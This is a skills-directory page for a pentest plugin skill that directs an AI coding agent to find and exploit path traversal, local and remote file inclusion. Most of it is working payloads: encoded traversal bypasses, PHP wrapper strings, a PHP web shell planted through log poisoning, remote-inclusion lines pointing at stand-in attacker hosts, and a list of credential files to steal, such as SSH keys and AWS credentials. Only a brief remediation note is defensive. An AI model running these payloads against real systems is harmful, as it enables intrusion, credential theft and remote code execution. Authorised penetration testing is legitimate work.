Back to skills
SKILL.md
Path Traversal
FSecurityPath traversal / LFI / RFI — read files outside the intended dir and escalate local file inclusion to RCE. Covers traversal encodings, PHP wrappers (php://filter chain, data://, phar://, zip://), log/session/proc poisoning, and RFI. Tier 1. Payloads: payloads/file-upload.md and injection libs. Use for params that name a file/path/template/page (download, include, view, lang, template).
- 16 stars
- 0 votes
- 0 copies
- 8 views
- Added November 17, 2026
Works with
Security analysis
0/100- Accesses sensitive system or user directories
- Accesses sensitive system or user directories
- Accesses sensitive system or user directories
- Reads or references SSH private keys
npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill path-traversal --agent claude-codeAre you the author of Path Traversal?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-path-traversal)---
name: path-traversal
description: "Path traversal / LFI / RFI — read files outside the intended dir and escalate local file inclusion to RCE. Covers traversal encodings, PHP wrappers (php://filter chain, data://, phar://, zip://), log/session/proc poisoning, and RFI. Tier 1. Payloads: payloads/file-upload.md and injection libs. Use for params that name a file/path/template/page (download, include, view, lang, template)."
---
# Path Traversal / LFI / RFI
Escape the intended directory to read arbitrary files, then turn local file inclusion into code execution.
## Trigger phrases
`path traversal, directory traversal, lfi, local file inclusion, rfi, php filter chain, log poisoning, phar`
## Method
1. **Find file params:** `?page=`, `?file=`, `?template=`, `?lang=`, `?download=`, path segments, and filename fields (${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md). Distinguish **traversal** (read only) from **inclusion** (code exec).
2. **Core read:** `../../../etc/passwd`; Windows `..\..\..\windows\win.ini`. Confirm with known file contents.
3. **Encoding/filter-strip bypass:** double-encode `%252e%252e%252f`, overlong UTF-8 `%c0%ae%c0%ae/`, non-recursive strip `....//....//`, `..///////..////`, `/%5C../`, old-PHP null byte `...%00`, path truncation (`/././.`×N).
4. **PHP wrappers:** read source `php://filter/convert.base64-encode/resource=index.php`; `data://text/plain;base64,<PD9waHA...>` (needs `allow_url_include`); `expect://id`; `zip://shell.jpg%23shell.php`.
5. **LFI → RCE:** poison then include (below), or `php://filter` iconv chain.
6. **RFI (rarer, `allow_url_include=On`):** `?page=http://evil/shell.txt`, `...%00`; Windows SMB UNC `\\attacker\share\shell.php`.
## Modern / rare techniques
- [NEW] **php://filter chain → RCE (no file write)** — `php_filter_chains_oracle_exploit` (Synacktiv) turns any `php://filter`-capable LFI into RCE by generating arbitrary bytes for `include`. High value, often missed.
- [NEW] **phar:// deserialization** — `phar://evil.phar/x` triggers PHP object deserialization on any file op, even with `allow_url_include=Off`; chain `php-object-injection` + `file-upload` (JPEG/GIF magic before `__HALT_COMPILER();` to pass upload filters).
- **Log/session/proc poisoning:** inject `<?php system($_GET['c']);?>` via `User-Agent` into `/var/log/apache2/access.log`, SSH username into `/var/log/auth.log`, then include it; PHP sessions `/var/lib/php/sessions/sess_<PHPSESSID>`; `/proc/self/environ`, `/proc/self/fd/N`; mail `/var/mail/<user>`.
- **Container/host recon via `/proc`:** `/proc/self/cmdline`, `/proc/self/maps`, `/proc/sched_debug`.
## High-value files
`/etc/passwd`, SSH keys `/home/*/.ssh/id_rsa`, `~/.aws/credentials`, `.env`, `settings.py`, `wp-config.php`, `web.xml`, `/root/.bash_history`.
## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: mixed/double encoding, backslash on Windows/IIS, wrapper case-mangling, nested `..%2f`, absolute path to skip a prepended dir.
## Escalation / chaining
LFI confirmed → log/session/`php://filter`-chain/phar → RCE → `command-injection`. Source leak → secrets → `access-control`/auth. phar branch → `php-object-injection`. Upload-assisted include → `file-upload`. Reading cloud creds → `cloud-pentest`.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `LFImap`, `fimap`, `Panoptic`, `php_filter_chains_oracle_exploit`, `ffuf` for traversal fuzzing, `curl`. If a Burp MCP is present, send manual PoCs to Repeater and fuzz with Intruder. Windows-local last resort. See `zazy-orchestrator`.
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
Request + returned file contents (or RCE command output), the wrapper/poison technique used, whether it is read-only traversal or code-exec inclusion, affected param, impact. Remediation: canonicalize + confine to a whitelist dir (`realpath` under base), map IDs not paths, disable dangerous PHP wrappers/`allow_url_include`, strip `../` after decode-loop.
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.